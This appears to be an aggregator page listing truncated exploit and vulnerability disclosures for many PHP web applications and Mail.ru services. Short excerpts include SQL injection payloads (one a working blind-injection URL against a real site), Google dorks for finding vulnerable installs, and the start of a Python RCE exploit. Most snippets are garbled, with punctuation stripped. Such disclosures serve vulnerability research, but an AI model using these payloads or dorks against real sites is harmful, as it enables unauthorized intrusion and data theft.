SimpleBoard Mambo Component <= 1.1.0 - Remote Include Vulnerability

No description provided by source. Bug Found by h4ntu http://h4ntu.com batamhacker crew Another Mambo component remote inclusion vulneribility download : http://mamboxchange.com/frs/download.php/6920/Simpleboard-1.1.0-Stable.zip bug found in file fileupload.php : requireonce$sbp/sbhelpers.php;...

Clever Copy <= 3.0 Admin Auth Details / Remote SQL Injection Exploit

No description provided by source. ?php ---CleverCopyV3sqlxpl.php 5.00 11/01/2006 Clever Copy = 3.0 SQL injection / Admin authentication details disclosure coded by rgod site: http://retrogod.altervista.org - this works with magicquotesgpc = Off usage: launch from Apache, fill in requested fields...

Havalite CMS 1.1.7 - Unrestricted File Upload Exploit

No description provided by source. ?php / ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CWH Underground Hacking Team .. +---------------------------^----------| ,-------, | / XXXXXX /| / / XXXXXX / \ / / XXXXXX /\ / XXXXXX / / XXXXXX / ------' Exploit Title : Havalite CMS...

Creative SplashWorks-SplashSite (page.php) Blind SQL Injection Vulnerability

No description provided by source. .:. Email : [email protected] .:. Team : Sec Attack Team .:. Home : www.sec-attack.com/vb .:. Script : Creative SplashWorks-SplashSite .:. Language : php .:. Bug Type : Blind Sql Injection .:. Dork : Website Powered By Creative SplashWorks - SplashSite === Exploit ===...

Factux LFI Vulnerability

No description provided by source. InformatioN Title : Factux LFI Vulnerability Author: altbta l9athotmail.com download : http://www.toocharger.com/telecharger/scripts/factux/3468.htm ExploiT dork: Factux le facturier libre V 1.1.5 includeonceinclude/language/$lang.php; Vulnerable File :...

SebracCMS <= 0.4 - Multiple SQL Injection Vulnerabilities

No description provided by source. Name: SebracCMS Webiste: http://www.sebrac.netsons.org/cms/ Vulnerability type: SQL Injection Author: shinmai, 2008-06-28 Description: SebracCMS contains two major SQL injection vulnerabilities: Unsanitazed POST-variables in SQL queries when logging users in. Th...

PHP RSS Reader 2010 - SQL Injection

No description provided by source. Exploit Title: PHP RSS READER 2010 SQLI Google Dork: Copyright 2010 - Powered By - PHP RSS Reader Date: 28/10/2013 Exploit Author: rDNix Vendor Homepage: http://www.phprssreader.com/ Version: 2010 Exploit :-...

phpMyRealty <= 1.0.7 - SQL Injection Vulnerability

No description provided by source. |=========================================================================================| Exploit Title: phpMyRealty = v. 1.0.7 SQL Injection Vulnerability Google Dork: intext:Sort By: Submission Date | Bedrooms | Bathrooms | Price ASC | Price DESC Date:...

Mail.ru: SQL inj

GET /guide/ HTTP/1.1 User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64 AppleWebKit/537.36 KHTML, like Gecko Chrome/28.0.1500.63 Safari/537.36 Via: ifnow=sysdate,sleep10,0/'XORifnow=sysdate,sleep10,0OR'"XORifnow=sysdate,sleep10,0 and 1=1"/ X-Requested-With: XMLHttpRequest Referer: http://bw.mail.ru/...

ApPHP MicroBlog 1.0.1 - Remote Command Execution

!/usr/bin/python import random import hashlib import urllib from base64 import b64encode as b64 import sys import re Exploit Title: Python exploit for ApPHP MicroBlog 1.0.1 Free Version - RCE Exploit Author: LOTFREE Version: ApPHP MicroBlog 1.0.1 Free Version EDB-ID: 33030 print " -= LOTFREE...

Mail.ru: SQL inj

http://parapa.mail.ru/gallery/BirthdayParaPa/-1%27%20or%201=IF%28LENGTH%28ASCII%28%28SELECT%20USER%28%29%29%29%29=3,%201,%200%29%20--%20//...

Mail.ru: Reflected XSS

http://cards.mail.ru/search/?search= Vulnreable to reflected XSS Payload "!-- See Screen Shot...

H K Digital Online SQL Injection

Exploit Author:Th3 R0cksT3r Exploit Title: H K Digital Online SQL Injection Date: 15.02.2014 Email: [email protected] Vendor Homepage: http://www.hkdigitalonline.com/ Facebook: Facebook.com/thee.rocksTer Google Dork: inurl:".php?id=" intext:"Powered by H K Digital Online." === Material's...

iNET Business Hub SQL Injection

==== Exploit Author:Ʈɦƹ RǿȼƙȿƮƹř ==== Exploit Title: iNET Business Hub SQL injetion Date: 04.02.2014 Email: [email protected] Vendor: http://www.inetbusinesshub.com/ Facebook: Facebook.com/thee.rocksTer Google Dork: inurl:.php?id= intext:Website Designed & Developed by iNET Business Hub Proof...

PHPYUN会员中心之外的模块可伪造任意用户登录

简要描述： 任意用户登录 详细说明： 之前看到一个cookie里面的uid 都可以做任意文件删除。 那么 肯定cookie没有效验合法性于是review代码 发现直接设置cookie可以登录用户 并且具有一定的权限（非member模块均有权限） 漏洞证明： 在网站提问区找一个ID 设置cookieuidcookieusernamecookieusertype 访问会员中心会提示登录 但是到提问板块 成功伪造用户提交一个问答 在测试一下邀请面试 可以邀请 不过没有分。。 其他地方应该还有 我就不一一列举了！...

Vbmcms6. 0&&7.0 update injection vulnerability-vulnerability warning-the black bar safety net

The latest version 7. 0 官 网 地址 http://www.vbmcms.com/index.php Visually full is Education Station Since 7. 0 version charge so in online download 6. 0 free version of view, but also found a lot of vulnerabilities of various insert injection various update injection but I construct the statement t...

yungoucmsSQL注入漏洞

简要描述： 官网 : http://www.yungoucms.com/ 演示站: http://www.yungoucms.cn/ 商品搜索可以构建SQL语句！ http://www.yungoucms.cn/?/stag/ public function tag $search =$this-segment4; if!$searchmessage"输入搜索关键字"; $search = urldecode$search; $search = htmlspecialchars$search; if!isutf8$search $search = iconv"GBK", "UTF-8",...

TCCMS某处设计缺陷，成功打入官网后台

简要描述： TCCMS某处设计缺陷，成功打入官网后台！ 详细说明： 问题发生在 app\controller\user.class.php 146行 public function update $Obj = M 'user' ; if $POST 'info' 'password' !== $POST 'password1' StringUtil::msgbox Config::lang "PWDNOTTHESAME" , 'index.php?ac=usersinfo', 1 ; exit ; $Obj-create ; if $POST 'info' 'password' != "...

Dede background getshell【2 0 1 3 0 7 1 5】-bug warning-the black bar safety net

The test version is: V5. 7 2 0 1 3 0 7 1 5 Test steps: Background-the SQL command to run-execute the command | 1 | INSERT INTO dedemyad aid, clsid, typeid, tagname, adname, timeset, starttime, endtime, normbody, expbody VALUES ---|--- 2 | 2 0 0 0, 0, 0, 'indexTopBanner1', 'home page top navigatio...

VidiScript 1.0.3a Cross Site Scripting

. \ /| | \ \ \ \ | | | | / \ / \ /\ / \ / / / / / \ /\ / \ / / / | | | Y \ / \ | | \ /\ \ \ | | /\ /\ / || || /\ \ /|| / /// \ /|| \ // / / / / / / http://thecrowscrew.org Exploit Title: VidiScript Persistent XSS Vulnerability Author: Gabby Google Dork: Powered By VidiScript...